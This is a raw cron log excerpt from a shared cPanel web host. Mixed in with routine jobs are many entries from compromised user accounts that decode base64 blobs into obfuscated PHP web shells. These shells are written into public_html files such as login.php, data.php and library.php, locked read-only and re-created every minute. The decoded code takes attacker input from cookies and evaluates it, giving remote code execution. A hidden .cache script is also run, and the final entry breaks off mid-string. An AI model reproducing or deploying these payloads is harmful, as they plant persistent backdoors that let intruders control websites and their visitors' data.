4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:27:01 medusa CROND[4503]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 09:27:01 medusa CROND[4504]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 09:27:01 medusa CROND[4505]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 09:27:01 medusa CROND[4506]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 09:27:01 medusa CROND[4508]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 09:27:01 medusa CROND[4510]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 09:27:01 medusa CROND[4514]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:27:01 medusa CROND[4516]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:27:01 medusa CROND[4517]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:27:01 medusa CROND[4518]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 09:28:01 medusa CROND[6044]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 09:28:01 medusa CROND[6053]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 09:28:01 medusa CROND[6054]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 09:28:01 medusa CROND[6055]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 09:28:01 medusa CROND[6056]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 09:28:01 medusa CROND[6059]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:28:01 medusa CROND[6060]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:28:01 medusa CROND[6062]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_ruby.cronlock /usr/share/l.v.e-manager/utils/cache_rubygems.py)
Jun  7 09:28:01 medusa CROND[6061]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:28:01 medusa CROND[6063]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 09:28:01 medusa CROND[6065]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 09:28:01 medusa CROND[6066]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 09:28:01 medusa CROND[6064]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 09:28:01 medusa CROND[6075]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:28:01 medusa CROND[6077]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 09:29:01 medusa CROND[7619]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 09:29:01 medusa CROND[7620]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:29:01 medusa CROND[7621]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Jun  7 09:29:01 medusa CROND[7623]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 09:29:01 medusa CROND[7624]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 09:29:01 medusa CROND[7625]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ